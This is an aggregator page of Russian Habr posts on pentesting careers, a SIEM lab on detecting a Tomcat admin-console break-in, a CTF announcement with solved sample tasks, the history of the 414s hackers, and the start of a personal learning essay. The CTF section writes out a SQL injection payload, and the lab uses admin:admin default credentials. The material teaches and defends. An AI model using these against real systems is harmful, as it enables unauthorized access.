На самом деле, у меня есть Google-табличка, куда я выписал набор знаний для разных специализаций и уровней пентестеров. Стажер, младший, средний, старший, с разделением на Web и инфраструктуру. Наверно, ссылку можно будет вставить; она будет и на Хабре, если будет итоговый пост. Это мои субъективные требования, но я их немного менял по фидбеку от людей, которые давали свои замечание и предложения и добавляли что-то. Поэтому можно считать их плюс-минус адекватными и ориентироваться на них. Там и сертификации перечислены, и даже зарплатные расценки на рынке, и направления для развития.

Q: как красиво уйти от вопроса от заказчика, который он может задать в процессе пентеста Ну что, нашли что-нибудь?

А зачем уходить от вопроса? Ответьте. Если еще не нашли ничего, то не нашли. Вам же, рано ли поздно, придется отвечать на этот вопрос в отчете. Поэтому нормально, что вас спросили через неделю после начала работы и вы говорите, что не нашли.

Q: где смотреть вакансии на пентестера? В hh очень мало.

Да, в Headhunter мало. Обычно все ищут друг друга по знакомству, поэтому, наверно, надо просто общаться с людьми. Можно разместить свое резюме возможно, в таком режиме будет больше внимания. Также можно поискать вакансии в LinkedIn. И еще бывают Telegram-каналы, в которых выкладывают вакансии

Q: что вы думаете про площадку tryhackme?

Не знаю такую. Сейчас очень много площадок, по web я бы порекомендовал Portswigger Academy порешать. Portswigger это компания, которая разрабатывает Burp.

Q: пентест и удаленка. Реально? Или в связи со спецификой работы стараются набирать в офис?

Реально. Ну, сейчас вообще все на удаленке работают, даже большие компании. Понятно, что, если вы рассматриваете чисто удаленный вариант, то могут быть сложности. Бывает еще такой формат, что вы сначала приезжаете в офис работать, на месяц, например, а потом уже удаленно.

Q: есть ли публичная БД или список типичных уязвимостей, чтобы поучиться? Или книжка какая-нибудь?

Да, например, OWASP Top 10. Это достаточно спорная штука, но это топ-10 уязвимостей в web-приложениях. Есть еще CWE (Common Weakness Enumeration) попытка классификации всех уязвимостей, разбиение их на иерархическую систему. Можно посмотреть, там есть примеры конкретных уязвимостей. Другой каталог CVE, это просто каталог уязвимостей в различном ПО. Там тоже есть реальные примеры, можно посмотреть, разобраться, как работают эксплоиты.

Q: можете прочитать немного вашу табличку со спецификациями?

Голосовой формат, конечно, странный. Я могу расшарить экран. [экран не расшаривается] Я думаю, ссылка на документ будет на хабре. Там написано, сколько нужно опыта (в годах) для каждого уровня; это, конечно, субъективно скорее, как ориентир. Описаны навыки, в произвольном порядке. Зарплата и сертификация, на которые можно ориентироваться. И путь роста что делать, чтобы выйти на следующий уровень. Например, для junior pentester нужно около года опыта или работы, или изучения; если человек не изучал хотя бы год не занимался IT или программированием и сразу попытался вкатиться в пентест, то он вряд ли имеет знания и навыки. Основные требования на этом уровне общее знакомство с методологией пентеста, знание основ технологии, умение пользоваться Linux и писать простые скрипты, которые работают с сетью (парсеры, например), знание регулярных выражений, знание протокола HTP, работа с инструментами сканерами уязвимости и Burp. В общем, почитайте, я не буду все перечислять.

Q: что делать в условиях, когда почти все вакансии требуют от 2ух лет опыта? Залипнуть в Bug Bounty и HackTheBox или пытаться пробиться на уровень, которому не соответствуешь?

Это фигня. Требуют и требуют на самом деле, смотреть-то будут на знания. Вы можете записать в опыт как раз bug bounty и HackTheBox. Если вы реально не соответствуете нужному уровню по знаниям и пониманию значит, не соответствуете. Но формальный критерий по количеству лет опыта не так важен, я думаю.

Подробнее..

Использование SIEM в ходе подготовки этичных хакеров открываем цикл практических лабораторных работ

19.10.2020 00:12:27 | Автор: admin
Как мы готовим в наших университетах и учебных центрах этичных хакеров? Как правило, предоставляем им Kali Linux или Сканер-ВС, включающие набор инструментов для тестирования защищенности и машину со множеством уязвимостей. В результате слушатели могут получить довольно поверхностное представление о том, как проводится тестирование на проникновение на самом деле, так как в реальных проектах пентестеры имеют дело с инфраструктурами, включающими средства защиты информации и системы мониторинга событий информационной безопасности (SIEM). Чтобы исправить ситуацию и предоставить начинающим специалистам возможность изучать методы тестирования защищенности и инструменты мониторинга событий информационной безопасности в комплексе, мы начинаем этой статьей публикацию практических лабораторных работ.



Наша вводная лабораторная работа посвящена выявлению инцидента, связанного с получением доступа к административной панели web-сервера.

Кейс


Во время отпуска администратора информационной безопасности были привлечены сторонние разработчики для создания web-приложения, которое планировалось разместить на web-сервере Tomcat. Разработчики для удобства сделали доступной всему внешнему миру веб-консоль управления приложениями сервера и создали нетривиальную учётную запись admin:admin.

Угроза


Злоумышленник, сканируя внешние хосты организации, наталкивается на порт 8080 рассматриваемого веб-сервера, убеждается в доступности административной консоли и после немногочисленных попыток успешно подбирает пароль к учётной записи администратора.

Задача


Необходимо определить, как администратор ИБ мог бы до своего отпуска настроить SIEM, чтобы своевременно зарегистрировать инцидент, связанный с рассматриваемой угрозой. После этого необходимо реализовать данный сценарий атаки и убедиться в корректном срабатывании директив корреляции.

Виртуальная инфраструктура


Ситуация развивается в следующей ИТ-инфраструктуре, развернутой в VirtualBox:



  1. Машина атакующего (Kali Linux, IP: 8.8.8.10, 4GB RAM, kali:kali);
  2. Межсетевой экран с системой обнаружения вторжений (pfSense, IP внешний: 8.8.8.1, IP внутренней сети: 192.168.1.1, IP DMZ: 192.168.2.1, 1GB RAM, admin:pfsense);
  3. Web-сервер (Ubuntu Server 18.04 c Tomcat, IP 192.168.2.15, 2GB RAM, user:user);
  4. Сервер SIEM-системы КОМРАД (Ubuntu 20.04, IP 192.168.1.99, 4GB RAM, user:user).

Если интересно самостоятельно развернуть данную инфраструктуру, то можно воспользоваться инструкцией, если же есть желание сэкономить время, то мы выложили сконфигурированные виртуальные машины в формате OVA. SIEM-систему необходимо будет получить дополнительно, но об этом будет написано ниже.

Решение: настройка SIEM-системы


Для решения задачи мы последовательно выполним действия злоумышленника, проведем анализ того, как они отражаются в журналах межсетевого экрана и веб-сервера, настроим сбор, парсинг и фильтрацию событий, а также создадим необходимые директивы корреляции в SIEM-системе.
В руководстве по нашей лабораторной представлены подробные шаги по решению данной задачи, в статье же мы сконцентрируемся только на ключевых моментах.

1. Отправка событий с межсетевого экрана


Межсетевой экран pfSense позволяет отправлять свои журналы по протоколу Syslog на удаленный сервер, для этого достаточно задать IP-адрес и порт syslog-коллектора SIEM КОМРАД, а также добавить правило, разрешающее отправку логов из сети 192.168.2.0/24 во внутреннюю сеть 192.168.1.0/24.



В SIEM-систему будут поступать события следующего вида:

<134>1 2020-10-18T02:33:40.684089+00:00 pfSense.localdomain filterlog 9761 - 4,,,1000000103,em0,match,block,in,4,0x0,,64,25904,0,DF,6,tcp,60,8.8.8.10,8.8.8.1,35818,1721,0,S,1017288379,,64240,,mss;sackOK;TS;nop;wscale

Как можно заметить, данная запись содержит такую важную информацию, как IP-адрес хоста, инициировавшего соединение, IP-адрес хоста, с которым пытаются установить соединение, а также индикацию того, что попытка соединения была заблокирована.

2. Отправка событий с web-сервера


Web-cервер Tomcat регистрирует http-запросы в локальных журналах, которые можно перенаправить через rsyslog в SIEM-систему. Для решения этой задачи можно воспользоваться также и файловым коллектором, который входит в состав SIEM-системы КОМРАД. В записях можно увидеть, что регистрируется IP-адрес хоста, с которого поступил запрос, а также учётная запись пользователя в случае его успешной авторизации:



3. Получение потока событий SIEM-системой КОМРАД


Рассмотренные события автоматически регистрируется SIEM-системой КОМРАД:



Упомянутых двух типов событий достаточно, чтобы выявлять следующие ситуации:

  • Блокировка соединения по признаку block;
  • Сканирование портов в случае нескольких блокировок попыток соединений, инициированных одним и тем же хостом;
  • Подозрение на несанкционированный доступ сканирование портов с последующим получением административного доступа.

Все три ситуации могут быть инцидентами информационной безопасности, но, конечно, с разными уровнями важности.

Перед тем, как регистрировать инциденты нам необходимо научиться извлекать указанную выше полезную информацию из событий.

4. Разбор событий SIEM-системой КОМРАД (парсинг)


Для парсинга событий источника в SIEM-системе необходимо создать плагин, включающий в себя набор регулярных выражений. Для самых популярных источников в составе КОМРАД уже имеются готовые плагины. В случае отсутствия плагина для пользователя доступна возможность его создания.

Ниже представлен пример разработки регулярного выражения для извлечения полей из рассмотренного выше события межсетевого экрана. В качестве инструмента отладки мы воспользовались порталом https://regex101.com/



После создания плагина данные из событий извлекаются в отдельные поля, как это видно из следующей карточки события:



5. Настройка фильтров для извлечения из потока интересующих событий информационной безопасности


Для того, чтобы в потоке событий, поступающих в SIEM-систему выявлять интересующие нас события, нам понадобится настроить фильтры. В SIEM-системе КОМРАД фильтры формируются с использованием популярного скриптового языка Lua (ИБ-специалистам он уже знаком по Nmap и Suricata).

Для выбора событий межсетевого экрана, связанных с блокировкой соединения, мы создадим следующий фильтр:

-- функция filter принимает событиеfunction filter(event)-- из события извлекается действие, которое было предпринято и IP-адрес машины, инициировавшей подключение    action = event:getString ('Action')    ip = event:getString ('IpSrc')-- в случае блокировки возвращается IP-адрес, который можно использовать в директиве корреляции    if action == 'block' then        return {IP=ip}    endend

Ненамного сложнее выглядит фильтр для события Tomcat, в котором мы проверяем соответствует ли извлечённая из события учётная запись значению admin. В этом случае также возвращаем IP-адрес.

function filter(event)    journal = event:getString ('Journal')    login = event:getString ('Username')    ip = event:getString ('IpSrc')        if journal == 'tomcat-access' and login == 'admin' then        return {IP=ip}    endend

При использовании в продуктивной среде для повышения производительности системы в начале каждого фильтра может потребоваться поставить проверку на определенный идентификатор коллектора для ограничения области действия фильтра.

6. Создание директив корреляции


Создадим директивы корреляции для рассматриваемых ситуаций со следующими уровнями важности:

  1. Блокировка соединения несущественная;
  2. Сканирование портов низкая;
  3. Отправка http-запросов с использованием учетной записи admin высокая.

Для создания инцидента в случае блокировки соединения достаточно в директиве корреляции указать на единственный применяемый фильтр:

filter 5

Вторая директива, которая должна создавать инцидент в случае трехкратного срабатывания блокировки соединения, инициированного одним и тем же хостом, будет выглядеть следующим образом:

/*Объявляем переменную ip, которой присваиваем значение, получаемое при первом срабатывании фильтра на блокировку соединения.*/var ipfilter 5 export ip = ep.IP/*Ожидаем в течение одной минуты аналогичного события с совпадающим IP.С помощью ключевого слова notforking, обозначаем необходимость остановки шага при первом срабатывании.*/filter 5 +1m where ep.IP==ip notforking//повторяем для третьего события.filter 5 +1m where ep.IP==ip notforking

В третьей директиве мы добавляем еще одну строку, в которой задействуем фильтр с идентификатором 6, созданный для выборки запросов к веб-серверу с учетной записью admin.

var ipfilter 5 export ip = ep.IPfilter 5 +1m where ep.IP==ip notforkingfilter 5 +1m where ep.IP==ip notforkingfilter 6 +1m where ep.IP==ip notforking

В учебном примере временное окно оставили равным 1 минуте, в реальной жизни имеет смысл его увеличить до нескольких минут.

Решение: проведение атаки и ее выявление


После конфигурации источников событий и SIEM-системы настало время провести учебную атаку. Сначала просканируем порты:



Затем заходим на порт 8080 и проходим авторизацию с учётной записью admin:admin:



Указанные действия фиксируются SIEM-системой КОМРАД: срабатывают все три директивы корреляции:



Заключение


Таким образом, в этой лабораторной работе мы увидели последовательность действий по сбору и анализу событий информационной безопасности в случае получения административного доступа к веб-серверу. В следующей лабораторной работе нападающая сторона будет развивать атаку и использовать полученный административный доступ для сбора информации о целевой инфраструктуре.

Как получить демо-версию SIEM-системы КОМРАД


Сейчас проходит бета-тестирование нашего продукта, в котором может принять участие любой желающий. Для этого мы предоставляем текущую версию SIEM-системы в виде Docker-контейнера. В демо-версии всего два ограничения: скорость обработки событий урезана до 1000 EPS и отсутствует система авторизации и управления доступом.

Для того, чтобы получить архив с демо-версией напишите нам на адрес электронной почты getkomrad@npo-echelon.ru c почтового ящика вашей организации (нам интересно, кто примет участие). Также приглашаем вас в нашу группу в Telegram, где можно получить помощь в случае каких-либо затруднений: https://t.me/komrad4

Ссылки


  1. Виртуальные машины для организации учебной инфраструктуры в VirtualBox: https://yadi.sk/d/GQ4BFn_soDJj0A
  2. Инструкция по развертыванию инфраструктуры с нуля, если не хочется пользоваться готовыми машинами: https://yadi.sk/i/tD8nxckjYwr_6Q
  3. Решение лабораторной 1: https://yadi.sk/i/ffztj2XQMPD-xw
Подробнее..

CTF-соревнования 2020 для белых хакеров. Старт регистрации участников

30.11.2020 16:22:04 | Автор: admin




В декабре OTUS при поддержке VolgaCTF и СTF.Moscow приглашает всех, кому близко направление ИБ, на онлайн-соревнования по поиску уязвимостей. Узнать подробнее и зарегистрироваться можно здесь. А пока рассказываем подробнее про формат и участие, а также вспоминаем, как прошло мероприятие в 2019 году.




Формат


Аббревиатура CTF расшифровывается как Capture the flag, захват флага. Существует 2 формата таких соревнований:

  1. Attack-defense, где команды получают свой сервер или сеть и должны обеспечивать их функционирование. Задача набрать как можно больше очков за защиту или украденную информацию (флаги) у команд-противников.
  2. Task-based, где каждый участник получает набор заданий и за отведенное время должен прислать решения. Ответ, он же флаг, может быть набором символов или фразой
.

Наши CTF-соревнования организованы в формате task-based.

Как это было в прошлом году?


В 2019 году участие приняло 217 человек. Участникам предстояло решить 9 заданий по три в каждом направлении: реверс-инжиниринг, пентест и безопасность Linux. На выполнение отводилось 5 часов.

У задач разный уровень сложности и, соответственно, стоимость в баллах. В прошлый раз только 40% из присланных ответов были засчитаны. Приводим примеры решения прошлогодних задач:

1. Реверс-инжиниринг


Задачи на декомпиляцию кода, восстановление логики программ, пользуясь исключительно низкоуровневым кодом, исследование работы мобильных приложений.

пример задания

Название: Bin
Баллы: 200

Описание:
В этот раз нам попался бинарный файл. Задача все та же, достать секретный пароль.
Вложение: task

Решение:
Дан бинарный файл. Загружаем в дизассемблер и видим шесть функций проверки, написанных на С++.

Они выполнены идентично и вызываются друг в друге, проверяя флаг по кусочкам из 5 элементов.

Поэтапно восстанавливаем с помощью информации из дизассемблера. Получаем флаг частями:

0) проверка длины
1) flag{
2) feefa
3) _172a
4) k14sc
5) _eee}

Объединяем и получаем флаг:

flag{feefa_172ak14sc_eee}


2. Пентест


Участники ищут уязвимости веб-сайтов методами тестирования на проникновение.

пример задания

Название: Databases
Баллы: 100

Описание: Сайт активно использует базы данных. Попробуй провести SQL-инъекции.
Ссылка на сайт: 193.41.142.9:8001/shop/login

Решение:
Идем в основной раздел магазина /shop/products/, потыкав в поле поиска, обнаруживаем sql-инъекцию.

Вводим 1" OR 1 = 1 , листаем вниз и видим отсутствовавший ранее товар, флаг находится в его описании.

Flag: flag{5ql_1nject10n_15_t00_51mpl3_f0r_y0u}


3. Безопасность Linux + безопасность разработки


Задачи направлены на проверку корректности конфигурации серверов и поиск ошибок в разработке ПО.

пример задания

Название: Algo
Баллы: 50

Описание: У нас новая задача. Провести проверку safe development. Заказчик предоставил архив с открытой частью разрабатываемого сайта. Для проверки своего алгоритма хеширования он предоставил хеш: 666c61677b32646733326473323334327d. Проверь алгоритм на возможность обратного преобразования.

В архиве содержится исходный код части сайта.
Ссылка на сайт: 193.41.142.9:8002/
Вложение: task.7z

Решение:
В исходных кодах есть алгоритм хеширования паролей. На самом деле, это не алгоритм хеширования, а просто преобразование данных из строкового формата в шестнадцатеричный.

Используем Python:

import binascii binascii.unhexlify(666c61677b32646733326473323334327d)

Получаем флаг: flag{2dg32ds2342}


Посмотреть все задачи CTF-2019 вы можете здесь.

Что будет в этом году?


Мы добавили 4-ю дисциплину Безопасность веб-приложений. За 6 часов участникам предстоит решить 12 заданий по 3 в каждом направлении.

Сроки и призы


Соревнование пройдет 5 декабря с 10 до 16. В каждой из категорий: реверс-инжиниринг, пентест, безопасность Linux и безопасность веб-приложений определяются свои победители.

Регистрация открыта до 4 декабря до 19:45

Главные призы бесплатное обучение в OTUS на курсах по ИБ достанутся тем, кто первым решит правильно все 3 задачи в одной из категорий. Тех, кто займет вторые и третьи места, ждут эксклюзивные скидки на обучение. И конечно, все участники получат новые знания, удовольствие от решения задач и бонусную скидку 10%.

8 и 10 декабря организаторы и преподаватели проведут специальные вебинары, где подведут итоги, разберут решения задач, а также расскажут подробнее о наших курсах.

Кто может стать участником CTF-соревнования?


Мероприятие открыто для каждого, кто в той или иной степени интересуется информационной безопасностью.

Хотите узнать больше? Тогда ждем вас на вводном вебинаре 3 декабря в 20:00, где мы расскажем обо всех условиях проведения и ответим на ваши вопросы. Записывайтесь, чтобы не пропустить трансляцию.
Подробнее..

Перевод История группы 414 подростков из Милуоки, которые стали пионерами взлома

10.12.2020 18:18:39 | Автор: admin
В 1983 году группа молодых людей из Милуоки прославилась взломом нескольких высококлассных компьютерных систем, включая Национальную лабораторию Лос-Аламоса и Мемориальный онкологический центр им. Слоуна Кеттеринга. Сегодня, в день старта нового потока курса Этичный хакер делюсь с вами их историей.

В 1983 году в технотриллере WarGames Дэвид Лайтман, которого играет тогда ещё молодой Мэтью Бродерик, сидит в своей спальне, погружаясь в компьютер квадратной формы с 8-битным процессором Intel. Когда текст пробегает по экрану, лицо Дэвида светится; он думает, что взломал компанию по производству видеоигр, но на самом деле подросток имеет дело с военным суперкомпьютером.Поиграем в игру? зловеще спрашивает компьютер. В развязке фильма был спровоцирован обратный отсчёт до Третьей мировой войны.

В том же году, когда этот фильм вышел на экраны, группа подростков и молодых людей из Милуоки играла в свою игру. Как и персонаж Бродерика, эти пригородные учёные-технологи, получившие название 414, в поиске новых игр взломали большие сетевые компьютерные системы, используемые известными организациями. И точно так же то, что начиналось как безобидное веселье, имело очень ощутимые последствия. В конце концов группа была поймана ФБР за взлом около дюжины правительственных и промышленных систем. Среди них были Мемориальный онкологический центр Слоана Кеттеринга и Лос-Аламосская национальная лаборатория исследовательский центр ядерного оружия, на котором производились атомные бомбы, применявшиеся во время Второй мировой войны.


Для большей части американской публики фильм Мэтью Бродерика/Элли Шиди WarGames 1983 года и выходки 414-х стали их первым знакомством с идеей хакеров.


Хотя выходки 414 не разожгли ядерный конфликт, они спровоцировали дискуссии национального масштаба о компьютерной безопасности задолго до того, как кибервойна засветилась в заголовках, а современные хакеры, такие как Джулиан Ассанж, стали общеизвестными персонами. Кроме того, подогреваемый группой ажиотаж в СМИ предупредил американских законодателей, что для борьбы с компьютерными преступлениями необходимы новые законы.

Группа поможет ознакомить нацию с возможностями и проблемами, такими как халатное отношение к безопасности, которые возникают с включением компьютеров в сеть. После разоблачения группы её члена Нила Патрика спросили на шоу Today канала NBC, не жалеет ли он о чём-то.Оглядываясь назад, я бы очень хотел, чтобы доступ к этим системам был не таким простым, ответил он.

Ловкие дети


В начале 1980-х годов наступила эра компьютерной культуры. Первый персональный компьютер IBM появился в 1981 году, принеся в массы термин персональный компьютер. В следующем году был представлен Commodore 64; позже эта модель станет самой продаваемой моделью всех времён. К 1983 году как фанатам техники, так и более осторожным её владельцам понравились возможности ПК. В том же году The New York Times перешла на цифровой формат с помощью первого компьютера в отделе новостей.

Однако по сегодняшним меркам этим простым машинам еще предстоит пройти долгий путь. Одна из самых важных вещей здесь то, насколько рано в технологической эпохе всё произошло, рассказывает Алан Дж. Борсук, который в то время был репортёром в The Milwaukee Journal и освещал новости о 414. Всё произошло до того, как стали широко известными понятия Интернета, электронной почты или чего-то в этом роде. Всё действительно было очень примитивно и только начиналось.

Но для многих первые протокомпьютеры были порталом на неизведанную территорию. Тим Уинслоу, ставший одним из группы 414, открыл в себе талант в середине 1970-х, когда учился в младших классах средней школы. Его учитель математики привез примитивный компьютер, чтобы проверить решение каких-то задач. Называемое телетайпом устройство по сути представляло собой механическую печатную машинку, которая отображала текст на стеклянном экране. В сочетании с акустически подключенным модемом, который передавал сигналы через телефонную сеть, система могла отправлять и получать напечатанные сообщения.


В то время персональные компьютеры, такие как Commodore 64, только обретали популярность.

У Уинслоу не было возможности протестировать компьютер во время занятий. Но он остался в школе после занятий той ночью, чтобы попробовать самому. Как только его учитель подключился к сети и запустил программу по математике, Уинслоу зацепило. Я влюбился в попытки учиться и творить с помощью этой новой технологии, рассказывает он.

Уинслоу обнаружил, что он не единственный, кто тяготел к этим ранним компьютерам. В средней школе он присоединился к программе Explorer Scout, ориентированной на вычисления и технологии и спонсируемой IBM, где он познакомился с большинством будущих хакеров. Члены группы встретились сразу после школы в центре Милуоки, чтобы вместе программировать.

Со временем многие из них стали друзьями и в конце концов они решили, что их группе нужно имя. В 1980-х годах банды в Милуоки называли себя названиями улиц, по которым они бегали, примером была группа 27, которая действовала на 27-й улице, это были номера, вырезанные на столиках для пикников, где хакеры иногда встречались за ужином. Территорией группы был Милуоки, поэтому в качестве названия они взяли себе местный телефонный код 414.

Начало игры



Тим Уинслоу был среди тех членов группы, у кого брали интервью для документального фильма The 414s: The Original Teen Hackers, премьера которого состоялась на кинофестивале Санденс в 2015 году.

По крайней мере в течение года 414 использовали свои домашние компьютеры и телефонные модемы для подключения к большим компьютерным системам по всей стране. Используя элементарные пароли и информацию для входа в систему, написанные в руководствах по эксплуатации различных компьютерных систем, которые никогда не обновлялись и не менялись, они смогли проникнуть в крупные сети. Например, рассказывает Уинслоу, логин и пароль для одной из систем были соответственно system и system.

Войти в них было так легко потому, что люди не читали их собственные руководства, говорит он.

Банда считала себя исследователями, использующими любопытство, чтобы узнать больше о том, как работают системы. В основном 414-е хотели заполучить компьютерные игры. Однако на протяжении 1983 года деятельность группы становилась всё более смелой. Однажды они взломали Security Pacific National Bank в Лос-Анджелесе с миллиардами долларов в активах. Той весной 414 проникли в компьютер Национальной лаборатории Лос-Аламоса.

К июню банда обнаружила себя. Подвиги 414 были раскрыты, когда они взломали Memorial Sloan Kettering и случайно удалили выписки пациентов. Об этом сообщил администратор Memorial Sloan Kettering, который затем связался с ФБР, которое, в свою очередь, отследило группу до Милуоки по входящим телефонным звонкам.

Чтобы получить больше доказательств, они фактически вышли из наших домов и установили устройства для слежки [на] наши телефонные линии, рассказывает Уинслоу. Вскоре после этого несколько членов 414, включая Уинслоу, которому тогда было 20 лет, Джеральда Вондра (21 год) и 17-летнего Патрика, встретили на пороге агентов ФБР в костюмах и галстуках.

Накануне вечером я поздно лёг спать; моя мама спустилась и разбудила меня, рассказывает Уинслоу, который поднялся наверх и обнаружил агентов, сидящих за кухонным столом. Они [сказали]: Мы хотели бы поговорить с вами о том, что вы делали с помощью компьютера в течение последних нескольких месяцев.

Скрытое наследие


Уинслоу, Вондра и еще один член группы были обвинены федеральным правительством и столкнулись с возможностью тюремного заключения. Но, поскольку Патрик был несовершеннолетним, ему не грозило судебное преследование.


Нил Патрик стал лицом 414-х, даже давая показания перед Конгрессом.

Пока его сверстники заключили сделки о признании вины, Патрик объехал средства массовой информации, появившись на шоу Фила Донахью и канала CBS Morning News. Его лицо попало на обложку Newsweek. Он даже свидетельствовал об угрозах, связанных с компьютерной безопасностью, перед Конгрессом в Вашингтоне (округ Колумбия), где щелчки камер были настолько громкими, что иногда заглушали говорящих. В какой-то момент Патрика спросили, когда он впервые задумался об этической уместности того, что делал.

Однажды в мою дверь постучали агенты ФБР, ответил он.

Поскольку в то время не существовало законов против хакерства, взрослым членам банды 414 были предъявлены обвинения в домогательствах по телефону. Правонарушение каралось двумя годами испытательного срока и штрафом в 500 долларов; в конце концов обвинения были сняты.

Почти четыре десятилетия спустя наследие 414 продолжает жить, хотя, возможно, не самым очевидным образом. Майкл Воллманн, режиссер документального фильма The 414s: The Original Teen Hackers, рассказывает, что его изначально привлекла история группы, потому что в то время она была омрачена такими фильмами, как WarGames. [Но] из-за этого случилось ещё несколько вещей, продолжает он. Например, тот факт, что Нил Патрик пришёл и дал показания перед Конгрессом, рассказывая о своём опыте. В результате подвигов банды и последовавшего за ними цирка в СМИ в Палату представителей были внесены шесть законопроектов, касающихся различных аспектов компьютерных преступлений.



Морган Райт, эксперт по кибербезопасности, отмечает, как далеко зашла эта область с тех пор. Мы прошли долгий путь [от] любопытства детей, которые просто посмотрели на всё это и сказали: Эй, давай попробуем пароли, говорит он. Это действительно была единственная защита; [не было] ни двухфакторной аутентификации, ни токенов безопасности, ни цифровых сертификатов. Всё это появилось позже, и это произошло в тот момент, когда мы больше не могли доверять людям, имеющим только имя пользователя и пароль, потому что их было слишком легко взломать. Райт подводит итог: история группы 414 стала переломным моментом, обнаружившим уязвимости компьютерной безопасности.

Если это так, то 414 были единственными людьми, проникшими в лабораторию Лос-Аламоса, когда она были очень плохо защищена, добавляет эксперт по кибербезопасности Джозеф Стейнберг, [тогда] они оказали нам большую услугу.

Таким образом, группу 414 можно назвать не только пионерами взлома, но и первыми пентестерами. Если в 80х число потенциальных объектов для взлома было невелико, то сейчас количество IT-систем и цифровизированных объектов (в том числе и стратегического назначения) увеличивается с каждым годом. И все они нуждаются в проверке на прочность. Из этого следует, что специалисты-пентестеры, проверяющие защищённость таких систем будут пользоваться стабильным спросом на рынке труда.

image

Как обычно, промокод HABR добавит 10% к скидке на обучение, отраженной на баннере.


Подробнее..

Мама, я хакер. Или как, где и чем я пользуюсь для того чтобы им стать сегодня

22.01.2021 16:14:24 | Автор: admin

Начало

Здравствуй, читатель.

Это моя первая статья на данном ресурсе и надеюсь она будет полезной для всех ребят, которые задались вопросами и целью - "Как мне стать хакером?", "Как мне самостоятельно учиться и где это делать?", "С чего начать свой путь?", "Где мне найти нужную информацию и вообще как её искать по тематике хакинга?".

На все эти вопросы и парочку других я постараюсь сегодня ответить в своей первой статье.
А также немного познакомить вас со своим путём становления, не постесняюсь этого бранного слова, хакером.

А так, как с размерами моего эго, может потягаться только сверх-массивная черная дыра в кластере супергалактик - то я постараюсь сделать эту статью/гайд/обзор - максимально объемным и полезным для новичков любого уровня, чтобы он стал ЛЕГЕНДАРНМ и на него все ссылались отныне и вовеки веков.

Ремарка - все указанные ссылки не имеют никакого рекламного подтекста.
Я никак не связан и не рекламирую ничей продукт, ссылки на которые будут представлены в этой статье.

Немного обо мне

Прежде, чем бежать и жадно изучать ресурсы, которые я подготовил, потратив кучу времени, сил и нервов своего бренного тела, я подумал, что было бы полезно поделиться с вами тем, кто я такой и почему вообще я этим занимаюсь. (но если тебе не терпится, скорей листай вниз, там куча полезностей и ссылок).

Меня зовут Ричард, на просторах интернета меня никто, нигде и никогда не знал ни под какими именами, потому что я, собственно говоря, никогда, нигде и не светился.

В прошлом году, в моём дурном мозге в очередной раз, родилась очередная дикая мысль и связана она была с тем, чтобы слепить из себя профессионального хакера и в целом спеца в сфере информационной безопасности.

А так как по образованию я являюсь "специалистом по организации и технологиям защиты информации", но никогда не работал (на момент написания статьи) и дня по-своему профильному образованию, то мне показалось это втройне ироничным - что спустя долгие годы, популярного как сегодня говорят, "поиска себя и своего предназначения", начиная от помощника кондитера в сша будучи оголтелым студентом, до, спустя многие годы, организатора фестиваля по паркуру будучи уже взрослым парнем аспирантом физ.мата - я вернулся к тому, с чего начинал.

Посему, поделиться такой ироничной и, возможно, в каком-то будущем, даже интересной историей обязан, особенно если она кому-то, да поможет однажды.

На большее я и не могу надеяться.

Так как за годы проб, придумывания отговорок, причин и метаний (что собственно говоря типично для ребят моего поколения) в стиле - "Что же мне стоит делать?", "Куда лежит душа?", "Это не интересно", "Здесь скучно", "Тут тупо", "Здесь вообще меня воротит от сферы деятельности", "Да ну не, может мне бросить всё и стать мотогонщиком ралли гонок ДАКАР?", "Не, может лучше мне поступить в MIT и заняться роботехникой?", "Или может быть я просто ленивый и бесконечно прокрастинирующий фантазёр, и буду всю жизнь работать посредственным специалистом в какой-нибудь конторке?". Или просто потому что я никак не мог перестать лениться и избегать той работы, которая мне сразу оказалась не по душе. Даже если мне нечего есть и моё обыденное существование подвергается опасности, я всё равно буду продолжать это делать. Такой вот я упёртый/глупый/самонадеянный/сверх меры самоуверенный в себе баран.

Но, в итоге, остановился я твёрдо и уверенно на теме хакинга.

Это оказалась та бесконечно-фрактальная тема и область, где моё нескончаемое любопытство (а проще говоря ОКР и желание быть готовым ко всему, всегда, везде), а также вечное стремление узнавать новое, неспособность сидеть долго на уже досконально изученном до дыр месте, и желание применять полученные знания на высоком уровне скилла на практике - наконец-то гармонично собрались, как будто так и надо было, в единую картину - "это то что надо, чувак, давай обоснуемся пока в этих чертогах." - вещал я себе сам, радуясь как ребёнок, думая что мои потуги наконец-то подходят к концу (ага, щас).

И, так как по натуре уродился таким человеком, который любит и верит в то, что если помогать своему окружению, то все будут от этого в плюсе и мы будем расти вместе с окружением быстрее, лучше, сильнее - я решил что мне стоит попробовать свои силы в том, чтобы делиться своими похождениями и ресурсами которыми я пользуюсь по ходу своих похождений с другими людьми.

Итак, после нудного и не особо полезного вступления, начнём.

Процесс обучения

Прежде чем я перейду к самой простой части - перечислению ресурсов и того, что вы можете из них получить и найти - считаю святой обязанностью поделиться своим взглядом на основы и процесс обучения, который стоит применять не только к теме хакинга, но и к ежедневным задачам, которые падают на каждого из нас, вне зависимости от образа мышления, языка на котором мыслим, спектра эмоций и мировоззрения.

Мне хотелось бы разделить условно процесс самообразования/самообучения на 2 важных составляющих.

И это:


1) Парадигма обучения, которой вы придерживаетесь (как вы смотрите на вещи вокруг вас, на себя, на людей, находите мотивацию, поддерживаете интерес, справляетесь со стрессом и проблемами, позволяете влиять на вас другим людям и многое-многое другое, ну или не/нет - ко всему ранее перечисленному в скобках).

2) Обладать навыком поиска нужной информации ( это значит уметь искать быстро (потому что ваше время - это ограниченный и самый ценный ресурс который есть у каждого из нас), это значит знать где искать, чем искать, грамотно фильтровать и после, и самое важное - грамотно её структурировать/каталогизировать, хранить, дополнять и после удобно использовать).
Особенно если мы говорим про хакеров, для которых навык OSINT'a (Open source intelligence - разведка из открытых источников) - является одним из самых crucial умений в списке профессиональных умений.

В этом году будет только 30 раз, как мне удалось облететь вокруг Солнца, стоя, лежа, сидя на этой планете.

Но даже за это, не столь значительное, время я обрел уйму различного опыта и знаний касательно процесса обучения - начиная от паркура и езды на мотоцикле, заканчивая поиском первой уязвимости и могу сказать, что везде присутствуют одни и те же паттерны обучения, придерживаясь которых можно достичь успехов и поставленных целей.

Я хотел бы подытожить описанное выше следующим образом (сразу прошу учесть, это сугубо субъективный опыт моей жизни, я не претендую на звание преподавателя и тем более ментора, мне бы себе найти оного, но я всегда оспаривал современные методы школьного/университетского обучения в силу их кусочности, грубости, ригидности и как следствие ущербности, посему я буду описывать своё видение)

Я разделю ниже указанные области на аспекты. Так должно быть проще и понятней.

